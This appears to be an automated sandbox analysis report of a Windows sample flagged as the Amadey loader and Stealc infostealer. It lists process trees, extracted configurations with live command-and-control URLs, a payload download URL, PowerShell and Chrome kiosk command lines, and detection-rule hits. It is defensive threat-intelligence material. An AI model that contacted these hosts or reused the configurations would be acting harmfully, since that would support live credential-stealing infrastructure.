Edit tour

Windows Analysis Report
4qIl08vrFY.exe

Overview

General Information

Sample name:	4qIl08vrFY.exe renamed because original name is a hash value
Original sample name:	7a1cee6327c5acf66e2aebb0d7bc25bc.exe
Analysis ID:	1522507
MD5:	7a1cee6327c5acf66e2aebb0d7bc25bc
SHA1:	21fd9f492b550168249793c5b93a0be586e96791
SHA256:	83f5e08f80cb28ba3197e06721b05fc1a1018cb7ea908f054aea6a69014e1a13
Tags:	Amadeyexeuser-abuse_ch
Infos:

Detection

Amadey, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

4qIl08vrFY.exe (PID: 6752 cmdline: "C:\Users\user\Desktop\4qIl08vrFY.exe" MD5: 7A1CEE6327C5ACF66E2AEBB0D7BC25BC)

skotes.exe (PID: 1436 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7A1CEE6327C5ACF66E2AEBB0D7BC25BC)

skotes.exe (PID: 7124 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7A1CEE6327C5ACF66E2AEBB0D7BC25BC)

num.exe (PID: 1876 cmdline: "C:\Users\user\AppData\Local\Temp\1000113001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

6b11689b40.exe (PID: 1532 cmdline: "C:\Users\user\1000115002\6b11689b40.exe" MD5: B92F60A126C6E055A86CF6145CFCCFC3)

skotes.exe (PID: 6468 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7A1CEE6327C5ACF66E2AEBB0D7BC25BC)

powershell.exe (PID: 5320 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2256 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4920 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4812 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 7056 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

6b11689b40.exe (PID: 7768 cmdline: "C:\Users\user\1000115002\6b11689b40.exe" MD5: B92F60A126C6E055A86CF6145CFCCFC3)

6b11689b40.exe (PID: 4320 cmdline: "C:\Users\user\1000115002\6b11689b40.exe" MD5: B92F60A126C6E055A86CF6145CFCCFC3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
4qIl08vrFY.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000113001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000113001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.2031413122.00000000006A1000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2335410022.0000000004E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000000.2186715740.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.4503861250.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2172652272.0000000005590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2212980719.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2411328213.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2384037029.00000000013FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2452210924.000000000089B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.4499620731.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000000.2108358478.0000000000051000.00000080.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2383087650.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2453067018.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000000.2041872696.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.4499772578.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2186829926.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000000.2037585408.0000000000141000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: skotes.exe PID: 7124	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 1876	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 1876	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6b11689b40.exe PID: 1532	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6b11689b40.exe PID: 1532	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.4qIl08vrFY.exe.6a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.0.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.0.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.0.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.140000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.4qIl08vrFY.exe.6a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.0.num.exe.50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.num.exe.50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.6b11689b40.exe.be0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
14.2.6b11689b40.exe.be0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
13.2.6b11689b40.exe.be0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 7124, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", ProcessId: 5320, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\1000115002\6b11689b40.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7124, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6b11689b40.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 7124, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1", ProcessId: 5320, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7056, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:08.225448+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49706	185.215.113.103	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:17.015320+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49710	185.215.113.43	80	TCP
2024-09-30T09:51:19.891443+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49713	185.215.113.43	80	TCP
2024-09-30T09:51:23.127216+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49719	185.215.113.43	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:10.709734+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49707	185.215.113.37	80	TCP
2024-09-30T09:51:17.923183+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49711	185.215.113.37	80	TCP
2024-09-30T09:51:35.490388+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49742	185.215.113.37	80	TCP
2024-09-30T09:51:42.783896+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49770	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:11.692249+0200	2856121	1	A Network Trojan was detected	192.168.2.5	49708	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:05.260581+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:10.986784+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49705	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T09:51:08.225448+0200	2803305	3	Unknown Traffic	192.168.2.5	49706	185.215.113.103	80	TCP
2024-09-30T09:51:12.421080+0200	2803305	3	Unknown Traffic	192.168.2.5	49709	185.215.113.103	80	TCP
2024-09-30T09:51:20.620161+0200	2803305	3	Unknown Traffic	192.168.2.5	49715	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.215.113.37/

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\1000115002\6b11689b40.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 4qIl08vrFY.exe	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.0.num.exe.50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/V	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.103/test/num.exe	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.43/Zu7JuNko/index.phpnu	Virustotal: Detection: 12%	Perma Link
Source: http://185.215.113.37/F	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpu	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\1000115002\6b11689b40.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: 4qIl08vrFY.exe	Virustotal: Detection: 63%			Perma Link
Source: 4qIl08vrFY.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000115002\6b11689b40.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 4qIl08vrFY.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	4_2_0005C820
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00057240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	4_2_00057240
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00068EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	4_2_00068EA0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00059AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	4_2_00059AC0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00059B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	4_2_00059B60

Source: 4qIl08vrFY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49786 version: TLS 1.2

Source: 4qIl08vrFY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006DDC0D FindFirstFileExW,	0_2_006DDC0D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0017DC0D FindFirstFileExW,	1_2_0017DC0D
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0005E430
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_000638B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	4_2_000638B0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00064910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00064910
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	4_2_0005ED20
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00064570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	4_2_00064570
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0005DE10
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	4_2_0005BE70
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0005DA80
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_00063EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	4_2_00063EA0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_0005F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0005F6B0
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: 4_2_000516D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_000516D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49704 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49707 -> 185.215.113.37:80
